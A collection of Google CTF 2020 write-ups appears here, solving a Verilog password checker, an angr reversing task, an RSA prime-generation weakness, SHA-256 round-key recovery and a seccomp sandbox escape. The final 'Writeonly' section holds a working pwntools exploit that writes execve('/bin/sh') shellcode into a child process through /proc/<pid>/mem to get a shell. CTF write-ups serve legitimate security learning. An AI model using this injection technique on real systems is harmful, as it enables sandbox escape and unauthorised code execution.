arrow-left

All pages
gitbookPowered by GitBook
1 of 10

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Basics

hashtag
Hardware - Easy

For this challenge, we are provided with a short Verilog program, and a C++ wrapper for it using the Verilator library. Verilog is a language that is used to describe hardware and abstract it into a program. check.sv

This was my first time using Verilog, so most of the challenge involved learning the syntax. The C++ wrapper program essentially reads in one character at a time, up to 100, then runs the open_safe routine and checks its result. I realized it was likely a password checker, with our input being transformed in some way to result (if correct) in a 56 bit decimal (3008192072309708). If it reached this, we are sent the flag. Here's my understanding of the verilog.

I initially attempted to manually step back from the final expected bits, but my unfamiliarity with Verilog syntax and conventions led to a different result every time. At this point, I decided to invest time into installing Verilator, allowing me to build the binary for myself; which would be needed to check my flag. The largest advantage though was the ability to add debugging statements in.

Using this, I could see how my data was transformed. I sent test pieces of data, starting at 0b0000001, and doing a binary shift left each iteration; this was to give me recognisable patterns to work from.

We were able to get the states of the memory, magic and kittens arrays after entering each character.

From here, we can just manually work out where all the bits are after getting a test case:

dddfffffffgggggggccccccceeeeeeehhhhhhhddddaaaaaaabbbbbbb

Then, we can use this on our compare string to get the binary we want:

00110111 01001100 01101111 01011000 00100101 00101010 01011111 1111000 (converted to 8-bit)

And then simply decode this to get the password 7LoX%*_x, which we enter on the remote to get the flag!

hashtag
Flag: CTF{W4sTh4tASan1tyCh3ck?}

module check(
    input clk,
    input [6:0] data,
    output wire open_safe
);

reg [6:0] memory [7:0];
reg [2:0] idx = 0;

wire [55:0] magic = {
    {memory[0], memory[5]},
    {memory[6], memory[2]},
    {memory[4], memory[3]},
    {memory[7], memory[1]}
};

wire [55:0] kittens = { magic[9:0],  magic[41:22], magic[21:10], magic[55:42] };
assign open_safe = kittens == 56'd3008192072309708;


always_ff @(posedge clk) begin
    memory[idx] <= data;
    idx <= idx + 5;
    for(int i = 0; i < 8; i = i+1) begin
      $write("%b ", memory[i]);
    end
end

endmodule

Hardware

Create an array of 8 x 7 bit fields (named memory)
Define a 7 bit input 'data'
Define a 56 bit array 'magic'
Read in a single 7 bit character, place it at memory[idx], then increase idx by 5. As idx is is a 3 bit field, this results in an overflow that shuffles the input order
The contents of memory is then shuffled in a fairly simple fashion into magic
The 56 bit wire 'kittens' is defined and filled with data from magic in a non-linear order
    $display("magic : %b", magic);
    $display("kit : %b", kittens);
    $display("Goal: %b", 56'd3008192072309708);

Beginner

hashtag
Reversing - Easy

So what I think you were meant to do is actually do rev. But that's boring and work and I wanted to try out Angr; so I did.

import angr, claripy
target = angr.Project('a.out', auto_load_libs=False)
input_len = 15
inp = [claripy.BVS('flag_%d' %i, 8) for i in range(input_len)]
flag = claripy.Concat(*inp + [claripy.BVV(b'\n')])


desired = 0x0010111d
wrong = 0x00101100

st = target.factory.full_init_state(args=["./a.out"], stdin=flag)
for k in inp:
    st.solver.add(k < 0x7f)
    st.solver.add(k > 0x20)


sm = target.factory.simulation_manager(st)
sm.run()
y = []
for x in sm.deadended:
    if b"SUCCESS" in x.posix.dumps(1):
        y.append(x)

#grab the first ouptut
valid = y[0].posix.dumps(0)
print(valid)

5 seconds later we have the flag

WARNING | 2020-08-24 02:21:03,963 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
[ ... SNIP ... ]
b'CTF{S1MDf0rM3!}\n'

hashtag
Flag: CTF{S1MDf0rM3!}

Crypto

Reversing

Chunk Norris

This was an RSA challenge where you had to break the prime generation function. We see that the function

  • Generates a 64 bit number

  • Does a logical OR with 0xc000000000000001 on it

  • Then, for 16 rounds:

    • Sets the chunk to s

    • Multiplies s by a constant a (0xe64a5f84e2762be5)

  • Then, if the number generated is prime, it returns it

I got s1*s2 by getting the upper and lower bits of n and applying modinv

We can represent p as [x][xa][xa^2]... where each [] is 64 bits long or p = x64^15 + ax64^14...

Multiplying it with q would give (kek how do i represent this) [0 ][1 ][2 ]... ... [30][31] <- chunk indexes (64 bits long) [xy ] ... ... [xya^30] [xya ]... [xya^29] [xya ]... [xya^29] since its n = xy64^30 + 2xya64^30 ... + 2xya^29*64^1 + xya^30

We can get upper and lower bits of n to get upper and lower bits (with modinv of a) of xy like this. however since theres a 2 coefficient on 2xya*64^30 this value is bit shifted and leaks into the last upper bits of xy. this gives 2 values what xy could be (one where the the bit is subtracted and one where it isnt). which are 0xab802dca026b182578adce5060bd0eb1 or 0xab802dca026b182478adce5060bd0eb1

Script below to gen s1*s2 (bit removal hasnt happened yet)

I factored these numbers and generated (kind of) all the 64 bit factors for both of these 128 bit numbers, and then tried using them as s in order to get the primes p and q. 0xab802dca026b182478adce5060bd0eb1 has no 64 bit factors, so it had to be 0xab802dca026b182578adce5060bd0eb1. The 64 bit factors of that number are [17323093358088416319, 11957115919933039605, 15301219884532198649, 14589535238740003363, 10091363333161070837, 14567509746395306455, 15648764542394866359, 15625139955456876315, 14898389259854230905, 14898389259854230905, 15625139955456876315, 15648764542394866359, 14567509746395306455, 10091363333161070837, 14589535238740003363, 15301219884532198649, 11642633479736017985, 9423396846760527157, 9883074741724455311, 13159516333377194255, 12330536802058217123] I then modified the gen_prime function to, if it wasn't prime, don't repeat, since these s's should generate a prime without having to do anything. This resulted in the 2 factors p and q, and then we used this to decrypt the flag.

hashtag
CTF{__donald_knuths_lcg_would_be_better_well_i_dont_think_s0__}

Sharky - Crypto

This challenge involved reversing the sha256 hash function where there were unknown keys.

hashtag
Intro

Unlike some of my other writeups where I reverse everything there is in a pretty logical order, I want to walk through how I personally solved the challenge, since I did it in a rather strange order.

hashtag
Reversing challenge.py

I obviously had to start by taking a look at the challenge.py file first, since it had the main functions and what was happening.

We see that challenge.py

  • starts by calling the generate_random_round_keys with parameter of 8

  • calls the sha256_with_secret_round_keys with the round keys and our message, which if we look is 'Encoded with random keys', and is constant

  • prints the hex result of sha256_with_secret_round_keys

  • prompts the user to enter a number of keys in hex, seperated with a comma

    • and makes sure the number of keys entered is 8

  • compares the keys entered by the user to the actual secret keys used n the sha256_with_secret_round_keys function

    • if they all match, then it prints Good job, here's a flag:, along with the flag

    • if not, then it prints Sorry, that's not right.

So, we need to deduce the keys used in the sha256 function when we know the message and the hash created by that message with the keys.

If we take a look at the generate_random_round_keys function, we see it just generates a 32 bit number n times, where n is the number passed to the function, more specifically, it generates a number between 0 and 256 4 times and concatenates the numbers together. Nothing vulnerable here.

Then, we look at the sha256_with_secret_round_keys function.

We see that it just calls the sha.sha256 function on the message, along with the round keys that were generated.

It seems that the sha.sha256 is imported and given to us in the sha256.py file, so we need to go have a look at that.

hashtag
The sha256.py file

This file seems to be the actual crypto part of the challenge.

Taking a quick look at the program, I deduced that it performs 64 rounds of the compression function on our padded message.

Since we know the message and it stays constant, we can use the given compute_w function to generate the w for our message.

We also know the k values, so we can just use those.

hashtag
Reversing a round with all values

My first goal was to try and figure out how to reverse a round of one of these functions.

We can take a closer look at the compression function, and see that

only 2 values actually change, which are d and h, the rest are just shifted right by 1 place.

We also see that, because of this, we can calculate quite a few variables mentioned, 4 to be exact, which are s1, ch, maj and s0, using the given functions.

Now, we need to figure out what d and h are, from tmp2 and tmp3.

We know that:

Each of these are then taken mod 4294967296 (referring this to p from now on).

Rewriting these, we get

Now, we know tmp2 and tmp3, so we and in the case of tmp2, we can just subtract all our known values and take that mod p to get h

Then, since we know h, we can then carry on to work out d, subtracting all the values from tmp3 and taking that mod p to get d.

So now we know how to reverse a round in the case where we know all the previous values, and also the k_i and w_i values.

I wrote a messy function in python to do this:

Now, once I had this done, I thought I had solved the challenge, and that the goal was to recover the initial state of the hash function, since there were 8 keys, and so I was suprised when it didn't work.

hashtag
Not over yet :/

Taking another look at the script however, we can see that the keys generated are used as the first 8 k values, however the rest remain unchanged, and the state is constant.

Knowing this, if we know the initial state and the fact that values each round are shifted right by one, we generate this table: (using sample values here)

Now, at the time I didn't realise this, but my getprev function was able to recover the entirety of the first half of the table, since I believe that the first half of the values aren't affected by the second half, while the second half are.

So, now we know the entirety of the first 4 columns of the table.

However, there are still 4 32 bit numbers which we don't know.

Since we know the initial state, we should probably only look at the initial state and the one after it, since we have more values, and if we are able to work out the 5th value in that second row, it basically becomes the exact same problem on each row.

The important thing to notice here is that the only place where k_i is used at all is when calculating tmp1, and so we can calculate all the other values except tmp1 (and therefore tmp2 and tmp3).

We can then get our equations from before:

Since we know everything for tmp1 except for k_1, I'm going to write a new equation:

temp = h + s1 + ch + w_i

Then we can rewrite the equations:

Now, we can work out what our new variable temp is, since all the values we have, and then we can also easily calculate k_i since we know tmp2, and so we just subtract (temp + s0 + maj) from tmp2 to get k_i, which we then use to calculate tmp3!

We then fill in our table in the four cells where tmp3 is used, and then repeat for the next row, since we know all values again (apart from k_i of course!)

Again, another messy python function to solve:

Once we have our solution matrix, I made another function just to get the k_i values and output them.

hashtag
Final tweaks

After all the rounds, we see a line in the sha256 function before the state gets returned to the player:

This basically

  • takes x from the current state and y from the initial state

  • adds them together

  • takes it mod p

This is once again very easy to reverse, we just take our outputted hash, subtract each number of the initial state from it, and then mod p once again.

Now we have all the steps done, we just need to put it all together.

Final solve script:

hashtag
Flag: CTF{sHa_roUnD_k3Ys_caN_b3_r3vERseD}

def prinh(a):
    print(hex(a))

def cracc(n):
    upper = n >> (2048-128)
    u1 = upper >> 64
    lower = n % 2**65
    prinh(lower)

    a2 = pow(0xe64a5f84e2762be5,-1,2**65)
    for _ in range(30):
        lower = pow(lower*a2,1,2**65)
    prinh(lower)
    z = hex(u1)[-16:] + hex(lower)[-16:]

    return z
import gmpy2
import math

a = 0xe64a5f84e2762be5
chunk_size = 64

def gen_prime(s):
     s |= 0xc000000000000001
     p = 0
     for _ in range(16):
       p = (p << chunk_size) + s
       s = a * s % 2**64
     if gmpy2.is_prime(p):
       return p


n = 0xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19
e = 0x10001
c = 0x6a12d56e26e460f456102c83c68b5cf355b2e57d5b176b32658d07619ce8e542d927bbea12fb8f90d7a1922fe68077af0f3794bfd26e7d560031c7c9238198685ad9ef1ac1966da39936b33c7bb00bdb13bec27b23f87028e99fdea0fbee4df721fd487d491e9d3087e986a79106f9d6f5431522270200c5d545d19df446dee6baa3051be6332ad7e4e6f44260b1594ec8a588c0450bcc8f23abb0121bcabf7551fd0ec11cd61c55ea89ae5d9bcc91f46b39d84f808562a42bb87a8854373b234e71fe6688021672c271c22aad0887304f7dd2b5f77136271a571591c48f438e6f1c08ed65d0088da562e0d8ae2dadd1234e72a40141429f5746d2d41452d916


bleh = [17323093358088416319, 11957115919933039605, 15301219884532198649, 14589535238740003363, 10091363333161070837, 14567509746395306455, 15648764542394866359, 15625139955456876315, 14898389259854230905, 14898389259854230905, 15625139955456876315, 15648764542394866359, 14567509746395306455, 10091363333161070837, 14589535238740003363, 15301219884532198649, 11642633479736017985, 9423396846760527157, 9883074741724455311, 13159516333377194255, 12330536802058217123]
for s in bleh:
  try:
    p = math.gcd(gen_prime(s),n)
    q = n//p
    tot = (p-1)*(q-1)
    d = pow(e,-1,tot)
    print(pow(c,d,n)) # long to bytes this after
  except:pass
def generate_random_round_keys(cnt: int):
  res = {}
  for i in range(cnt):
    rk = 0
    for b in os.urandom(4):
      rk = rk * 256 + b
    res[i] = rk
  return res
  sha = sha256.SHA256()
  round_keys = sha.k[:]
  for i, v in secret_round_keys.items():
    round_keys[i] = v
  return sha.sha256(m, round_keys)
  def compression_step(self, state, k_i, w_i):
    a, b, c, d, e, f, g, h = state
    s1 = self.rotate_right(e, 6) ^ self.rotate_right(e, 11) ^ self.rotate_right(e, 25)
    ch = (e & f) ^ (~e & g)
    tmp1 = (h + s1 + ch + k_i + w_i) & 0xffffffff
    s0 = self.rotate_right(a, 2) ^ self.rotate_right(a, 13) ^ self.rotate_right(a, 22)
    maj = (a & b) ^ (a & c) ^ (b & c)
    tmp2 = (tmp1 + s0 + maj) & 0xffffffff
    tmp3 = (d + tmp1) & 0xffffffff
    return (tmp2, a, b, c, tmp3, e, f, g)
tmp1 = h + s1 + ch + k_i + w_i
tmp2 = tmp1 + s0 + maj
tmp3 = d + tmp1
tmp1 = h + s1 + ch + k_i + w_i
tmp2 = h + s1 + ch + k_i + w_i + s0 + maj
tmp3 = h + s1 + ch + k_i + w_i + d
def getprev(state,k_i,w_i):
  tmp2, a, b, c, tmp3, e, f, g = state
  s1 = rotate_right(e, 6) ^ rotate_right(e, 11) ^ rotate_right(e, 25)
  ch = (e & f) ^ (~e & g)
  s0 = rotate_right(a, 2) ^ rotate_right(a, 13) ^ rotate_right(a, 22)
  maj = (a & b) ^ (a & c) ^ (b & c)
  tmp1 = (tmp2 - (s0 + maj)) % p
  bleh = s1 + ch + k_i + w_i
  h = (tmp1 - bleh) % p
  d = (tmp3 - tmp1) % p
  return [a,b,c,d,e,f,g,h]
[1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924,  528734635, 1541459225] # initial state (pre-rounds)
[xxxxxxxxxx, 1779033703, 3144134277, 1013904242, xxxxxxxxxx, 1359893119, 2600822924,  528734635]
[xxxxxxxxxx, xxxxxxxxxx, 1779033703, 3144134277, xxxxxxxxxx, xxxxxxxxxx, 1359893119, 2600822924]
[xxxxxxxxxx, xxxxxxxxxx, xxxxxxxxxx, 1779033703, xxxxxxxxxx, xxxxxxxxxx, xxxxxxxxxx, 1359893119]
[2788502447, xxxxxxxxxx, xxxxxxxxxx, xxxxxxxxxx, xxxxxxxxxx, xxxxxxxxxx, xxxxxxxxxx, xxxxxxxxxx]
[ 523352746, 2788502447, xxxxxxxxxx, xxxxxxxxxx, 1827710523, xxxxxxxxxx, xxxxxxxxxx, xxxxxxxxxx]
[ 155539695,  523352746, 2788502447, xxxxxxxxxx,  277694853, 1827710523, xxxxxxxxxx, xxxxxxxxxx]
[3585474043,  155539695,  523352746, 2788502447, 4184759956,  277694853, 1827710523, xxxxxxxxxx]
[4286495597, 3585474043,  155539695,  523352746, 3141120170, 4184759956,  277694853, 1827710523] # 7th state
[1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924,  528734635, 1541459225] # inital state
[1348132138, 1779033703, 3144134277, 1013904242, xxxxxxxxxx, 1359893119, 2600822924,  528734635]
[2733599647, 1348132138, 1779033703, 3144134277, xxxxxxxxxx, xxxxxxxxxx, 1359893119, 2600822924]
[1127758716, 2733599647, 1348132138, 1779033703, xxxxxxxxxx, xxxxxxxxxx, xxxxxxxxxx, 1359893119]
[2788502447, 1127758716, 2733599647, 1348132138, xxxxxxxxxx, xxxxxxxxxx, xxxxxxxxxx, xxxxxxxxxx]
[ 523352746, 2788502447, 1127758716, 2733599647, 1827710523, xxxxxxxxxx, xxxxxxxxxx, xxxxxxxxxx]
[ 155539695,  523352746, 2788502447, 1127758716,  277694853, 1827710523, xxxxxxxxxx, xxxxxxxxxx]
[3585474043,  155539695,  523352746, 2788502447, 4184759956,  277694853, 1827710523, xxxxxxxxxx]
[4286495597, 3585474043,  155539695,  523352746, 3141120170, 4184759956,  277694853, 1827710523] # our 7th state
  def compression_step(self, state, k_i, w_i):
    a, b, c, d, e, f, g, h = state
    s1 = self.rotate_right(e, 6) ^ self.rotate_right(e, 11) ^ self.rotate_right(e, 25)
    ch = (e & f) ^ (~e & g)
    tmp1 = (h + s1 + ch + k_i + w_i) & 0xffffffff
    s0 = self.rotate_right(a, 2) ^ self.rotate_right(a, 13) ^ self.rotate_right(a, 22)
    maj = (a & b) ^ (a & c) ^ (b & c)
    tmp2 = (tmp1 + s0 + maj) & 0xffffffff
    tmp3 = (d + tmp1) & 0xffffffff
    return (tmp2, a, b, c, tmp3, e, f, g)
tmp1 = h + s1 + ch + k_i + w_i
tmp2 = h + s1 + ch + k_i + w_i + s0 + maj
tmp3 = h + s1 + ch + k_i + w_i + d
tmp1 = temp + k_i
tmp2 = temp + k_i + s0 + maj
tmp3 = temp + k_i + d
def remove(matrix): 
  matrix[1][1] = 1779033703
  matrix[2][2] = 1779033703
  matrix[3][3] = 1779033703
  matrix[1][2] = 3144134277
  matrix[2][3] = 3144134277
  matrix[1][3] = 1013904242
  matrix[1][5] = 1359893119
  matrix[2][6] = 1359893119
  matrix[3][7] = 1359893119
  matrix[1][6] = 2600822924
  matrix[2][7] = 2600822924
  matrix[1][7] = 528734635
  return matrix

def solvepart2(matrix): 
  matrix = remove(matrix)
  for i in range(4):
    w_i = w[i+i]
    a, b, c, d, e, f, g, h = matrix[i]
    tmp2 = matrix[i+1][0]
    s1 = rotate_right(e, 6) ^ rotate_right(e, 11) ^ rotate_right(e, 25)
    ch = (e & f) ^ (~e & g)
    s0 = rotate_right(a, 2) ^ rotate_right(a, 13) ^ rotate_right(a, 22)
    maj = (a & b) ^ (a & c) ^ (b & c)
    temp = s1 + ch + w_i
    temp2 = s0 + maj
    hki = (tmp2 - temp2) % p
    tmp3 = (d + hki) % p
    matrix[i+1][4] = tmp3
    matrix[i+2][5] = tmp3
    matrix[i+3][6] = tmp3
    matrix[i+4][7] = tmp3
  return matrix
def getkeys(sol):
  keys = []
  for i in range(8):
    a, b, c, d, e, f, g, h = sol[i]
    w_i = w[i]
    s1 = rotate_right(e, 6) ^ rotate_right(e, 11) ^ rotate_right(e, 25)
    ch = (e & f) ^ (~e & g)
    thing = w_i + ch + s1 + d + h 
    value = sol[i+1][4]
    key = (value - thing) % p
    keys.append(key)
  keys = [str(hex(x))[2:] for x in keys ]
  return keys
state = [(x + y) & 0xffffffff for x, y in zip(state, s)]
import struct

# rotate right function provided by server
def rotate_right(v, n):
  w = (v >> n) | (v << (32 - n))
  return w & 0xffffffff

# setting values to their actual value instead of our fake value
def remove(matrix): 
  matrix[1][1] = 1779033703
  matrix[2][2] = 1779033703
  matrix[3][3] = 1779033703
  matrix[1][2] = 3144134277
  matrix[2][3] = 3144134277
  matrix[1][3] = 1013904242
  matrix[1][5] = 1359893119
  matrix[2][6] = 1359893119
  matrix[3][7] = 1359893119
  matrix[1][6] = 2600822924
  matrix[2][7] = 2600822924
  matrix[1][7] = 528734635
  return matrix

## compute w for our particular message

# make sure its padded
def padding(m):
  lm = len(m)
  lpad = struct.pack('>Q', 8 * lm)
  lenz = -(lm + 9) % 64
  return m + bytes([0x80]) + bytes(lenz) + lpad

# get our w
def compute_w(m):
  m = padding(m)
  w = list(struct.unpack('>16L', m))
  for _ in range(16, 64):
    a, b = w[-15], w[-2]
    s0 = rotate_right(a, 7) ^ rotate_right(a, 18) ^ (a >> 3)
    s1 = rotate_right(b, 17) ^ rotate_right(b, 19) ^ (b >> 10)
    s = (w[-16] + w[-7] + s0 + s1) & 0xffffffff
    w.append(s)
  return w

## constant values
start = [1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225]
k = [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2]
w = compute_w(b'Encoded with random keys')

## convert the hash into the last state of the message
def hash2nums(hashed):
  state = []
  x  = [hashed[i:i+8] for i in range(0, len(hashed), 8)]
  for i in range(len(x)):
    j = x[i]
    j = int(j,16)
    j -= start[i]
    state.append(j%p)
  return state

## reversing the round when we have all info
def getprev(state,k_i,w_i):
  tmp2, a, b, c, tmp3, e, f, g = state
  s1 = rotate_right(e, 6) ^ rotate_right(e, 11) ^ rotate_right(e, 25)
  ch = (e & f) ^ (~e & g)
  s0 = rotate_right(a, 2) ^ rotate_right(a, 13) ^ rotate_right(a, 22)
  maj = (a & b) ^ (a & c) ^ (b & c)
  tmp1 = (tmp2 - (s0 + maj)) % p
  bleh = s1 + ch + k_i + w_i
  h = (tmp1 - bleh) % p
  d = (tmp3 - tmp1) % p
  return [a,b,c,d,e,f,g,h]

## get to the 7th state so we can grab our keys
def get27thstate(state):
  states = []
  for i in range(63,0,-1):
    k_i = k[i]
    w_i = w[i]
    state = getprev(state,k_i,w_i)
    if i <= 8:
      states.append(state)
  states.append(start)
  return states

## when we get to round 7, we need to do other stuff, since we dont have all values
def solvepart2(matrix): 
  ## remove all weird values
  matrix = remove(matrix)
  for i in range(4):
    w_i = w[i+i]
    a, b, c, d, e, f, g, h = matrix[i]
    tmp2 = matrix[i+1][0]
    s1 = rotate_right(e, 6) ^ rotate_right(e, 11) ^ rotate_right(e, 25)
    ch = (e & f) ^ (~e & g)
    s0 = rotate_right(a, 2) ^ rotate_right(a, 13) ^ rotate_right(a, 22)
    maj = (a & b) ^ (a & c) ^ (b & c)
    temp = s1 + ch + w_i
    temp2 = s0 + maj
    hki = (tmp2 - temp2) % p
    tmp3 = (d + hki) % p
    matrix[i+1][4] = tmp3
    matrix[i+2][5] = tmp3
    matrix[i+3][6] = tmp3
    matrix[i+4][7] = tmp3
  return matrix


## working out the key values to submit to the server
def getkeys(sol):
  keys = []
  for i in range(8):
    a, b, c, d, e, f, g, h = sol[i]
    w_i = w[i]
    s1 = rotate_right(e, 6) ^ rotate_right(e, 11) ^ rotate_right(e, 25)
    ch = (e & f) ^ (~e & g)
    thing = w_i + ch + s1 + d + h 
    value = sol[i+1][4]
    key = (value - thing) % p
    keys.append(key)
  keys = [str(hex(x))[2:] for x in keys ]
  return keys

## final solve function
def solve(hashed):
  state = hash2nums(hashed)
  states = get27thstate(state)
  sol = solvepart2(states[::-1])
  keys = getkeys(sol)
  print(f'Solution: {",".join(keys)}')

p = 4294967296 # we'll take everything mod this to get rid of the & with p-1
hash = "93dc2d9e92adc268ba4fcda976920d286389bd047de5c15f924e8cd1216a4666"
solve(hash)

Google

Sandbox

Writeonly

hashtag
Sandbox - Easy

Statically linked binary - it mmaps a RWX region, reads the length of shellcode from us, then reads that much data from stdin into the mmaped region. It then installs some strict seccomp and executes our shellcode. The goal is to read a file - /home/user/flag. However. read is BANNED. In fact, this seccomp is a whitelist not a blacklist, and few useful things are allowed. For our purposes, we'll use open, lseek and write.

First, the binary forks. The child process does some sort of loop in which it continuously reads 4 bytes out of /home/user/flag and checks it against CTF{.The parent reads the shellcode, installs seccomp and runs the shellcode. Since the seccomp is done after forking, the child does not inherit seccomp. This means we can begin to hijack the memory of the child from the parent in our shellcode, and force the child to do things that we cannot. The binary prints the PID of the child, so we can use /proc/<pid>/mem. 1. Build "/proc/<pid>/mem" on the stack using push and mov 2. open this file 3. lseek it so that we can write to the read function of the child process 4. Build shell popping shellcode on the stack 5. write shell popping shellcode to the read() function 6. To prevent the parent process exiting before the shell has time to pop, use jmp $ to continually jump to the current RIP, keeping it alive 7. This works, and a shell is popped. From there, we cat flag to get the flag.

hashtag
CTF{why_read_when_you_can_write}

from pwn import *
context.arch = 'amd64'
e = ELF("./chal")
p = e.process() if args.LOCAL else remote('writeonly.2020.ctfcompetition.com', 1337)
p.recvuntil("[DEBUG] child pid: ")
pid = int(p.recvline())
p.clean()
filename = f"/proc/{pid}/mem".encode()
filename = filename.ljust(16,b'\x00')
code = ""
for i in range(0,len(filename),8):
    num = hex(u64(filename[i:i+8]))
    code = f"mov rbx,{num} ; push rbx ; " + code
code += "mov rbx,rsp ; mov rdi,rbx ; mov rax,2 ; mov rsi,0x2 ; syscall ; mov r9,rax ; mov rdi,rax ; mov rsi, 0x44fce8 ; mov rdx,0 ; mov rax,0x8 ; syscall; " 
malcode = b"/bin/sh\x00" + asm("mov rdi, 0x44fce8 ; mov rsi,0 ; mov rdx,0 ; mov rax,0x3b ; syscall") 
malcode = malcode.ljust(40,b'\x00')
newcode = "" 
for i in range(0,len(malcode),8):
    num = hex(u64(malcode[i:i+8]))
    newcode = f"mov rbx,{num} ; push rbx ; " + newcode
code += newcode
code += "mov rdi,r9 ; mov rsi,rsp ; mov rdx,0x28 ; mov rax,0x1 ; syscall ; jmp $"
print(code)
shellcode = asm(code)
p.sendline(str(len(shellcode)))
p.sendline(shellcode)
p.interactive()